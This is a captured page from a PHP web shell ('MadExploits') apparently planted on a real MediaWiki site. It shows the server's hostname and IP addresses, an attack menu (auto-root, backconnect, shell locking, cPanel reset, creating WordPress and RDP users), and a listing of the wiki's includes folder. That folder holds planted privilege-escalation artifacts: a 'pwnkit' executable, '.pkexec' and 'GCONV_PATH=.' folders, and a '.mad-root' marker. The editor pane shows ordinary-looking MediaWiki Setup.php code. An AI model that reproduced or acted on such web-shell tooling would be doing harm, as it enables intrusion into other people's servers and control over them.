Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
actions
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
debug
[ DIR ]
drwxr-xr-x
diff
[ DIR ]
drwxr-xr-x
extauth
[ DIR ]
drwxr-xr-x
filerepo
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
interwiki
[ DIR ]
drwxr-xr-x
job
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
logging
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
normal
[ DIR ]
drwxr-xr-x
objectcache
[ DIR ]
drwxr-xr-x
parser
[ DIR ]
drwxr-xr-x
profiler
[ DIR ]
drwxr-xr-x
resourceloader
[ DIR ]
drwxr-xr-x
revisiondelete
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
specials
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxr-xr-x
zhtable
[ DIR ]
drwxr-xr-x
.htaccess
14
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Action.php
14.69
KB
-rw-r--r--
AjaxDispatcher.php
3.34
KB
-rw-r--r--
AjaxResponse.php
6.32
KB
-rw-r--r--
Article.php
54.32
KB
-rw-r--r--
AuthPlugin.php
7.85
KB
-rw-r--r--
AutoLoader.php
52.01
KB
-rw-r--r--
Autopromote.php
5.92
KB
-rw-r--r--
BacklinkCache.php
9.32
KB
-rw-r--r--
Block.php
33.87
KB
-rw-r--r--
Category.php
8.44
KB
-rw-r--r--
CategoryPage.php
2.58
KB
-rw-r--r--
CategoryViewer.php
20
KB
-rw-r--r--
Categoryfinder.php
5.16
KB
-rw-r--r--
Cdb.php
3.67
KB
-rw-r--r--
Cdb_PHP.php
10.73
KB
-rw-r--r--
ChangeTags.php
8.57
KB
-rw-r--r--
ChangesFeed.php
5.94
KB
-rw-r--r--
ChangesList.php
34.87
KB
-rw-r--r--
Collation.php
9.86
KB
-rw-r--r--
ConfEditor.php
29.16
KB
-rw-r--r--
Cookie.php
6.22
KB
-rw-r--r--
CryptRand.php
17.09
KB
-rw-r--r--
DefaultSettings.php
186.34
KB
-rw-r--r--
DeferredUpdates.php
2.06
KB
-rw-r--r--
Defines.php
7.21
KB
-rw-r--r--
EditPage.php
103.6
KB
-rw-r--r--
Exception.php
13.93
KB
-rw-r--r--
Export.php
32.68
KB
-rw-r--r--
ExternalEdit.php
3.51
KB
-rw-r--r--
ExternalStore.php
4.29
KB
-rw-r--r--
ExternalStoreDB.php
4.47
KB
-rw-r--r--
ExternalStoreHttp.php
463
B
-rw-r--r--
ExternalUser.php
8.96
KB
-rw-r--r--
FakeTitle.php
6.54
KB
-rw-r--r--
Fallback.php
5.61
KB
-rw-r--r--
Feed.php
10.26
KB
-rw-r--r--
FeedUtils.php
6.37
KB
-rw-r--r--
FileDeleteForm.php
10.06
KB
-rw-r--r--
ForkController.php
4.04
KB
-rw-r--r--
FormOptions.php
7.56
KB
-rw-r--r--
GlobalFunctions.php
107.24
KB
-rw-r--r--
HTMLForm.php
53.15
KB
-rw-r--r--
HistoryBlob.php
14.38
KB
-rw-r--r--
Hooks.php
7.89
KB
-rw-r--r--
Html.php
26.4
KB
-rw-r--r--
HttpFunctions.old.php
318
B
-rw-r--r--
HttpFunctions.php
23.29
KB
-rw-r--r--
IP.php
21.76
KB
-rw-r--r--
ImageFunctions.php
2.33
KB
-rw-r--r--
ImageGallery.php
10.42
KB
-rw-r--r--
ImagePage.php
36.96
KB
-rw-r--r--
ImageQueryPage.php
1.5
KB
-rw-r--r--
Import.php
37.73
KB
-rw-r--r--
Init.php
5.19
KB
-rw-r--r--
Licenses.php
4.17
KB
-rw-r--r--
LinkFilter.php
4.46
KB
-rw-r--r--
Linker.php
67.82
KB
-rw-r--r--
LinksUpdate.php
24.83
KB
-rw-r--r--
LocalisationCache.php
31.51
KB
-rw-r--r--
MWFunction.php
2.22
KB
-rw-r--r--
MagicWord.php
19.42
KB
-rw-r--r--
Message.php
15.95
KB
-rw-r--r--
MessageBlobStore.php
10.5
KB
-rw-r--r--
Metadata.php
5.5
KB
-rw-r--r--
MimeMagic.php
32.92
KB
-rw-r--r--
Namespace.php
9.02
KB
-rw-r--r--
OutputHandler.php
4.81
KB
-rw-r--r--
OutputPage.php
104.02
KB
-rw-r--r--
PHPVersionError.php
2.95
KB
-rw-r--r--
PageQueryPage.php
639
B
-rw-r--r--
Pager.php
33.1
KB
-rw-r--r--
PathRouter.php
11.23
KB
-rw-r--r--
PoolCounter.php
5.69
KB
-rw-r--r--
Preferences.php
47.49
KB
-rw-r--r--
PrefixSearch.php
5.55
KB
-rw-r--r--
ProtectionForm.php
20.1
KB
-rw-r--r--
ProxyTools.php
2.5
KB
-rw-r--r--
QueryPage.php
22.78
KB
-rw-r--r--
RecentChange.php
22.31
KB
-rw-r--r--
Revision.php
33.01
KB
-rw-r--r--
RevisionList.php
7.2
KB
-rw-r--r--
Sanitizer.php
52.53
KB
-rw-r--r--
SeleniumWebSettings.php
5.85
KB
-rw-r--r--
Setup.php
16.36
KB
-rw-r--r--
SiteConfiguration.php
12.88
KB
-rw-r--r--
SiteStats.php
11.54
KB
-rw-r--r--
Skin.php
41.11
KB
-rw-r--r--
SkinLegacy.php
20.25
KB
-rw-r--r--
SkinTemplate.php
62.44
KB
-rw-r--r--
SpecialPage.php
32.82
KB
-rw-r--r--
SpecialPageFactory.php
18.3
KB
-rw-r--r--
SquidPurgeClient.php
10.05
KB
-rw-r--r--
Status.php
8.62
KB
-rw-r--r--
StreamFile.php
5.46
KB
-rw-r--r--
StringUtils.php
11.32
KB
-rw-r--r--
StubObject.php
4.61
KB
-rw-r--r--
Title.php
133.73
KB
-rw-r--r--
TitleArray.php
1.95
KB
-rw-r--r--
User.php
116.25
KB
-rw-r--r--
UserArray.php
1.92
KB
-rw-r--r--
UserMailer.php
24.12
KB
-rw-r--r--
UserRightsProxy.php
5.56
KB
-rw-r--r--
ViewCountUpdate.php
3.43
KB
-rw-r--r--
WatchedItem.php
4.81
KB
-rw-r--r--
WebRequest.php
37.03
KB
-rw-r--r--
WebResponse.php
4.29
KB
-rw-r--r--
WebStart.php
4.94
KB
-rw-r--r--
Wiki.php
18.24
KB
-rw-r--r--
WikiCategoryPage.php
618
B
-rw-r--r--
WikiError.php
3.88
KB
-rw-r--r--
WikiFilePage.php
3.71
KB
-rw-r--r--
WikiMap.php
5.38
KB
-rw-r--r--
WikiPage.php
85.98
KB
-rw-r--r--
Xml.php
27.63
KB
-rw-r--r--
XmlTypeCheck.php
2.52
KB
-rw-r--r--
ZhClient.php
2.85
KB
-rw-r--r--
ZhConversion.php
415
KB
-rw-r--r--
ZipDirectoryReader.php
20.33
KB
-rw-r--r--
mime.info
3.86
KB
-rw-r--r--
mime.types
5.24
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
tidy.conf
413
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Setup.php
<?php /** * Include most things that's need to customize the site * * @file */ /** * This file is not a valid entry point, perform no further processing unless * MEDIAWIKI is defined */ if ( !defined( 'MEDIAWIKI' ) ) { exit( 1 ); } # The main wiki script and things like database # conversion and maintenance scripts all share a # common setup of including lots of classes and # setting up a few globals. # $fname = 'Setup.php'; wfProfileIn( $fname ); // Check to see if we are at the file scope if ( !isset( $wgVersion ) ) { echo "Error, Setup.php must be included from the file scope, after DefaultSettings.php\n"; die( 1 ); } // Set various default paths sensibly... if ( $wgScript === false ) $wgScript = "$wgScriptPath/index$wgScriptExtension"; if ( $wgRedirectScript === false ) $wgRedirectScript = "$wgScriptPath/redirect$wgScriptExtension"; if ( $wgLoadScript === false ) $wgLoadScript = "$wgScriptPath/load$wgScriptExtension"; if ( $wgArticlePath === false ) { if ( $wgUsePathInfo ) { $wgArticlePath = "$wgScript/$1"; } else { $wgArticlePath = "$wgScript?title=$1"; } } if ( !empty($wgActionPaths) && !isset($wgActionPaths['view']) ) { # 'view' is assumed the default action path everywhere in the code # but is rarely filled in $wgActionPaths $wgActionPaths['view'] = $wgArticlePath; } if ( !empty($wgActionPaths) && !isset($wgActionPaths['view']) ) { # 'view' is assumed the default action path everywhere in the code # but is rarely filled in $wgActionPaths $wgActionPaths['view'] = $wgArticlePath ; } if ( $wgStylePath === false ) $wgStylePath = "$wgScriptPath/skins"; if ( $wgLocalStylePath === false ) $wgLocalStylePath = "$wgScriptPath/skins"; if ( $wgStyleDirectory === false ) $wgStyleDirectory = "$IP/skins"; if ( $wgExtensionAssetsPath === false ) $wgExtensionAssetsPath = "$wgScriptPath/extensions"; if ( $wgLogo === false ) $wgLogo = "$wgStylePath/common/images/wiki.png"; if ( $wgUploadPath === false ) $wgUploadPath = "$wgScriptPath/images"; if ( $wgUploadDirectory === false ) $wgUploadDirectory = "$IP/images"; if ( $wgTmpDirectory === false ) $wgTmpDirectory = "{$wgUploadDirectory}/tmp"; if ( $wgReadOnlyFile === false ) $wgReadOnlyFile = "{$wgUploadDirectory}/lock_yBgMBwiR"; if ( $wgFileCacheDirectory === false ) $wgFileCacheDirectory = "{$wgUploadDirectory}/cache"; if ( $wgDeletedDirectory === false ) $wgDeletedDirectory = "{$wgUploadDirectory}/deleted"; if ( isset( $wgFileStore['deleted']['directory'] ) ) { $wgDeletedDirectory = $wgFileStore['deleted']['directory']; } if ( isset( $wgFooterIcons['copyright'] ) && isset( $wgFooterIcons['copyright']['copyright'] ) && $wgFooterIcons['copyright']['copyright'] === array() ) { if ( isset( $wgCopyrightIcon ) && $wgCopyrightIcon ) { $wgFooterIcons['copyright']['copyright'] = $wgCopyrightIcon; } elseif ( $wgRightsIcon || $wgRightsText ) { $wgFooterIcons['copyright']['copyright'] = array( 'url' => $wgRightsUrl, 'src' => $wgRightsIcon, 'alt' => $wgRightsText, ); } else { unset( $wgFooterIcons['copyright']['copyright'] ); } } if ( isset( $wgFooterIcons['poweredby'] ) && isset( $wgFooterIcons['poweredby']['mediawiki'] ) && $wgFooterIcons['poweredby']['mediawiki']['src'] === null ) { $wgFooterIcons['poweredby']['mediawiki']['src'] = "$wgStylePath/common/images/poweredby_mediawiki_88x31.png"; } /** * Unconditional protection for NS_MEDIAWIKI since otherwise it's too easy for a * sysadmin to set $wgNamespaceProtection incorrectly and leave the wiki insecure. * * Note that this is the definition of editinterface and it can be granted to * all users if desired. */ $wgNamespaceProtection[NS_MEDIAWIKI] = 'editinterface'; /** * The canonical names of namespaces 6 and 7 are, as of v1.14, "File" * and "File_talk". The old names "Image" and "Image_talk" are * retained as aliases for backwards compatibility. */ $wgNamespaceAliases['Image'] = NS_FILE; $wgNamespaceAliases['Image_talk'] = NS_FILE_TALK; /** * Initialise $wgLockManagers to include basic FS version */ $wgLockManagers[] = array( 'name' => 'fsLockManager', 'class' => 'FSLockManager', 'lockDirectory' => "{$wgUploadDirectory}/lockdir", ); $wgLockManagers[] = array( 'name' => 'nullLockManager', 'class' => 'NullLockManager', ); /** * Initialise $wgLocalFileRepo from backwards-compatible settings */ if ( !$wgLocalFileRepo ) { if ( isset( $wgFileStore['deleted']['hash'] ) ) { $deletedHashLevel = $wgFileStore['deleted']['hash']; } else { $deletedHashLevel = $wgHashedUploadDirectory ? 3 : 0; } $wgLocalFileRepo = array( 'class' => 'LocalRepo', 'name' => 'local', 'directory' => $wgUploadDirectory, 'scriptDirUrl' => $wgScriptPath, 'scriptExtension' => $wgScriptExtension, 'url' => $wgUploadBaseUrl ? $wgUploadBaseUrl . $wgUploadPath : $wgUploadPath, 'hashLevels' => $wgHashedUploadDirectory ? 2 : 0, 'thumbScriptUrl' => $wgThumbnailScriptPath, 'transformVia404' => !$wgGenerateThumbnailOnParse, 'deletedDir' => $wgDeletedDirectory, 'deletedHashLevels' => $deletedHashLevel ); } /** * Initialise shared repo from backwards-compatible settings */ if ( $wgUseSharedUploads ) { if ( $wgSharedUploadDBname ) { $wgForeignFileRepos[] = array( 'class' => 'ForeignDBRepo', 'name' => 'shared', 'directory' => $wgSharedUploadDirectory, 'url' => $wgSharedUploadPath, 'hashLevels' => $wgHashedSharedUploadDirectory ? 2 : 0, 'thumbScriptUrl' => $wgSharedThumbnailScriptPath, 'transformVia404' => !$wgGenerateThumbnailOnParse, 'dbType' => $wgDBtype, 'dbServer' => $wgDBserver, 'dbUser' => $wgDBuser, 'dbPassword' => $wgDBpassword, 'dbName' => $wgSharedUploadDBname, 'dbFlags' => ( $wgDebugDumpSql ? DBO_DEBUG : 0 ) | DBO_DEFAULT, 'tablePrefix' => $wgSharedUploadDBprefix, 'hasSharedCache' => $wgCacheSharedUploads, 'descBaseUrl' => $wgRepositoryBaseUrl, 'fetchDescription' => $wgFetchCommonsDescriptions, ); } else { $wgForeignFileRepos[] = array( 'class' => 'FileRepo', 'name' => 'shared', 'directory' => $wgSharedUploadDirectory, 'url' => $wgSharedUploadPath, 'hashLevels' => $wgHashedSharedUploadDirectory ? 2 : 0, 'thumbScriptUrl' => $wgSharedThumbnailScriptPath, 'transformVia404' => !$wgGenerateThumbnailOnParse, 'descBaseUrl' => $wgRepositoryBaseUrl, 'fetchDescription' => $wgFetchCommonsDescriptions, ); } } if ( $wgUseInstantCommons ) { $wgForeignFileRepos[] = array( 'class' => 'ForeignAPIRepo', 'name' => 'wikimediacommons', 'apibase' => WebRequest::detectProtocol() === 'https' ? 'https://commons.wikimedia.org/w/api.php' : 'http://commons.wikimedia.org/w/api.php', 'hashLevels' => 2, 'fetchDescription' => true, 'descriptionCacheExpiry' => 43200, 'apiThumbCacheExpiry' => 86400, ); } /* * Add on default file backend config for file repos. * FileBackendGroup will handle initializing the backends. */ if ( !isset( $wgLocalFileRepo['backend'] ) ) { $wgLocalFileRepo['backend'] = $wgLocalFileRepo['name'] . '-backend'; } foreach ( $wgForeignFileRepos as &$repo ) { if ( !isset( $repo['directory'] ) && $repo['class'] === 'ForeignAPIRepo' ) { $repo['directory'] = $wgUploadDirectory; // b/c } if ( !isset( $repo['backend'] ) ) { $repo['backend'] = $repo['name'] . '-backend'; } } unset( $repo ); // no global pollution; destroy reference if ( is_null( $wgEnableAutoRotation ) ) { // Only enable auto-rotation when the bitmap handler can rotate $wgEnableAutoRotation = BitmapHandler::canRotate(); } if ( $wgRCFilterByAge ) { # # Trim down $wgRCLinkDays so that it only lists links which are valid # # as determined by $wgRCMaxAge. # # Note that we allow 1 link higher than the max for things like 56 days but a 60 day link. sort( $wgRCLinkDays ); for ( $i = 0; $i < count( $wgRCLinkDays ); $i++ ) { if ( $wgRCLinkDays[$i] >= $wgRCMaxAge / ( 3600 * 24 ) ) { $wgRCLinkDays = array_slice( $wgRCLinkDays, 0, $i + 1, false ); break; } } } if ( $wgSkipSkin ) { $wgSkipSkins[] = $wgSkipSkin; } # Set default shared prefix if ( $wgSharedPrefix === false ) { $wgSharedPrefix = $wgDBprefix; } if ( !$wgCookiePrefix ) { if ( $wgSharedDB && $wgSharedPrefix && in_array( 'user', $wgSharedTables ) ) { $wgCookiePrefix = $wgSharedDB . '_' . $wgSharedPrefix; } elseif ( $wgSharedDB && in_array( 'user', $wgSharedTables ) ) { $wgCookiePrefix = $wgSharedDB; } elseif ( $wgDBprefix ) { $wgCookiePrefix = $wgDBname . '_' . $wgDBprefix; } else { $wgCookiePrefix = $wgDBname; } } $wgCookiePrefix = strtr( $wgCookiePrefix, '=,; +."\'\\[', '__________' ); $wgUseEnotif = $wgEnotifUserTalk || $wgEnotifWatchlist; if ( $wgMetaNamespace === false ) { $wgMetaNamespace = str_replace( ' ', '_', $wgSitename ); } /** * Definitions of the NS_ constants are in Defines.php * @private */ $wgCanonicalNamespaceNames = array( NS_MEDIA => 'Media', NS_SPECIAL => 'Special', NS_TALK => 'Talk', NS_USER => 'User', NS_USER_TALK => 'User_talk', NS_PROJECT => 'Project', NS_PROJECT_TALK => 'Project_talk', NS_FILE => 'File', NS_FILE_TALK => 'File_talk', NS_MEDIAWIKI => 'MediaWiki', NS_MEDIAWIKI_TALK => 'MediaWiki_talk', NS_TEMPLATE => 'Template', NS_TEMPLATE_TALK => 'Template_talk', NS_HELP => 'Help', NS_HELP_TALK => 'Help_talk', NS_CATEGORY => 'Category', NS_CATEGORY_TALK => 'Category_talk', ); /// @todo UGLY UGLY if( is_array( $wgExtraNamespaces ) ) { $wgCanonicalNamespaceNames = $wgCanonicalNamespaceNames + $wgExtraNamespaces; } # These are now the same, always # To determine the user language, use $wgLang->getCode() $wgContLanguageCode = $wgLanguageCode; # Easy to forget to falsify $wgShowIPinHeader for static caches. # If file cache or squid cache is on, just disable this (DWIMD). # Do the same for $wgDebugToolbar. if ( $wgUseFileCache || $wgUseSquid ) { $wgShowIPinHeader = false; $wgDebugToolbar = false; } # $wgAllowRealName and $wgAllowUserSkin were removed in 1.16 # in favor of $wgHiddenPrefs, handle b/c here if ( !$wgAllowRealName ) { $wgHiddenPrefs[] = 'realname'; } # Doesn't make sense to have if disabled. if ( !$wgEnotifMinorEdits ) { $wgHiddenPrefs[] = 'enotifminoredits'; } # $wgDisabledActions is deprecated as of 1.18 foreach( $wgDisabledActions as $action ){ $wgActions[$action] = false; } if( !$wgAllowPageInfo ){ $wgActions['info'] = false; } if ( !$wgHtml5Version && $wgHtml5 && $wgAllowRdfaAttributes ) { # see http://www.w3.org/TR/rdfa-in-html/#document-conformance if ( $wgMimeType == 'application/xhtml+xml' ) { $wgHtml5Version = 'XHTML+RDFa 1.0'; } else { $wgHtml5Version = 'HTML+RDFa 1.0'; } } # Blacklisted file extensions shouldn't appear on the "allowed" list $wgFileExtensions = array_diff ( $wgFileExtensions, $wgFileBlacklist ); if ( $wgArticleCountMethod === null ) { $wgArticleCountMethod = $wgUseCommaCount ? 'comma' : 'link'; } if ( $wgInvalidateCacheOnLocalSettingsChange ) { $wgCacheEpoch = max( $wgCacheEpoch, gmdate( 'YmdHis', @filemtime( "$IP/LocalSettings.php" ) ) ); } if ( $wgAjaxUploadDestCheck ) { $wgAjaxExportList[] = 'SpecialUpload::ajaxGetExistsWarning'; } if ( $wgNewUserLog ) { # Add a new log type $wgLogTypes[] = 'newusers'; $wgLogNames['newusers'] = 'newuserlogpage'; $wgLogHeaders['newusers'] = 'newuserlogpagetext'; # newusers, create, create2, autocreate $wgLogActionsHandlers['newusers/*'] = 'NewUsersLogFormatter'; } if ( $wgCookieSecure === 'detect' ) { $wgCookieSecure = ( substr( $wgServer, 0, 6 ) === 'https:' ); } // Disable MWDebug for command line mode, this prevents MWDebug from eating up // all the memory from logging SQL queries on maintenance scripts global $wgCommandLineMode; if ( $wgDebugToolbar && !$wgCommandLineMode ) { MWDebug::init(); } if ( !defined( 'MW_COMPILED' ) ) { if ( !MWInit::classExists( 'AutoLoader' ) ) { require_once( "$IP/includes/AutoLoader.php" ); } wfProfileIn( $fname . '-exception' ); MWExceptionHandler::installHandler(); wfProfileOut( $fname . '-exception' ); wfProfileIn( $fname . '-includes' ); require_once( "$IP/includes/normal/UtfNormalUtil.php" ); require_once( "$IP/includes/GlobalFunctions.php" ); require_once( "$IP/includes/ProxyTools.php" ); require_once( "$IP/includes/ImageFunctions.php" ); require_once( "$IP/includes/normal/UtfNormalDefines.php" ); wfProfileOut( $fname . '-includes' ); } # Now that GlobalFunctions is loaded, set the default for $wgCanonicalServer if ( $wgCanonicalServer === false ) { $wgCanonicalServer = wfExpandUrl( $wgServer, PROTO_HTTP ); } wfProfileIn( $fname . '-misc1' ); # Raise the memory limit if it's too low wfMemoryLimit(); /** * Set up the timezone, suppressing the pseudo-security warning in PHP 5.1+ * that happens whenever you use a date function without the timezone being * explicitly set. Inspired by phpMyAdmin's treatment of the problem. */ if ( is_null( $wgLocaltimezone) ) { wfSuppressWarnings(); $wgLocaltimezone = date_default_timezone_get(); wfRestoreWarnings(); } date_default_timezone_set( $wgLocaltimezone ); if( is_null( $wgLocalTZoffset ) ) { $wgLocalTZoffset = date( 'Z' ) / 60; } # Useful debug output if ( $wgCommandLineMode ) { $wgRequest = new FauxRequest( array() ); wfDebug( "\n\nStart command line script $self\n" ); } else { # Can't stub this one, it sets up $_GET and $_REQUEST in its constructor $wgRequest = new WebRequest; $debug = "Start request\n\n{$_SERVER['REQUEST_METHOD']} {$wgRequest->getRequestURL()}"; if ( $wgDebugPrintHttpHeaders ) { $debug .= "\nHTTP HEADERS:\n"; foreach ( $wgRequest->getAllHeaders() as $name => $value ) { $debug .= "$name: $value\n"; } } wfDebug( "$debug\n" ); } wfProfileOut( $fname . '-misc1' ); wfProfileIn( $fname . '-memcached' ); $wgMemc = wfGetMainCache(); $messageMemc = wfGetMessageCacheStorage(); $parserMemc = wfGetParserCacheStorage(); wfDebug( 'CACHES: ' . get_class( $wgMemc ) . '[main] ' . get_class( $messageMemc ) . '[message] ' . get_class( $parserMemc ) . "[parser]\n" ); wfProfileOut( $fname . '-memcached' ); # # Most of the config is out, some might want to run hooks here. wfRunHooks( 'SetupAfterCache' ); wfProfileIn( $fname . '-session' ); # If session.auto_start is there, we can't touch session name if ( !wfIniGetBool( 'session.auto_start' ) ) { session_name( $wgSessionName ? $wgSessionName : $wgCookiePrefix . '_session' ); } if ( !defined( 'MW_NO_SESSION' ) && !$wgCommandLineMode ) { if ( $wgRequest->checkSessionCookie() || isset( $_COOKIE[$wgCookiePrefix . 'Token'] ) ) { wfIncrStats( 'request_with_session' ); wfSetupSession(); $wgSessionStarted = true; } else { wfIncrStats( 'request_without_session' ); $wgSessionStarted = false; } } wfProfileOut( $fname . '-session' ); wfProfileIn( $fname . '-globals' ); $wgContLang = Language::factory( $wgLanguageCode ); $wgContLang->initEncoding(); $wgContLang->initContLang(); // Now that variant lists may be available... $wgRequest->interpolateTitle(); $wgUser = RequestContext::getMain()->getUser(); # BackCompat /** * @var Language */ $wgLang = new StubUserLang; /** * @var OutputPage */ $wgOut = RequestContext::getMain()->getOutput(); # BackCompat /** * @var Parser */ $wgParser = new StubObject( 'wgParser', $wgParserConf['class'], array( $wgParserConf ) ); if ( !is_object( $wgAuth ) ) { $wgAuth = new StubObject( 'wgAuth', 'AuthPlugin' ); wfRunHooks( 'AuthPluginSetup', array( &$wgAuth ) ); } # Placeholders in case of DB error $wgTitle = null; $wgDeferredUpdateList = array(); wfProfileOut( $fname . '-globals' ); wfProfileIn( $fname . '-extensions' ); # Extension setup functions for extensions other than skins # Entries should be added to this variable during the inclusion # of the extension file. This allows the extension to perform # any necessary initialisation in the fully initialised environment foreach ( $wgExtensionFunctions as $func ) { # Allow closures in PHP 5.3+ if ( is_object( $func ) && $func instanceof Closure ) { $profName = $fname . '-extensions-closure'; } elseif ( is_array( $func ) ) { if ( is_object( $func[0] ) ) $profName = $fname . '-extensions-' . get_class( $func[0] ) . '::' . $func[1]; else $profName = $fname . '-extensions-' . implode( '::', $func ); } else { $profName = $fname . '-extensions-' . strval( $func ); } wfProfileIn( $profName ); call_user_func( $func ); wfProfileOut( $profName ); } wfDebug( "Fully initialised\n" ); $wgFullyInitialised = true; wfProfileOut( $fname . '-extensions' ); wfProfileOut( $fname );
Close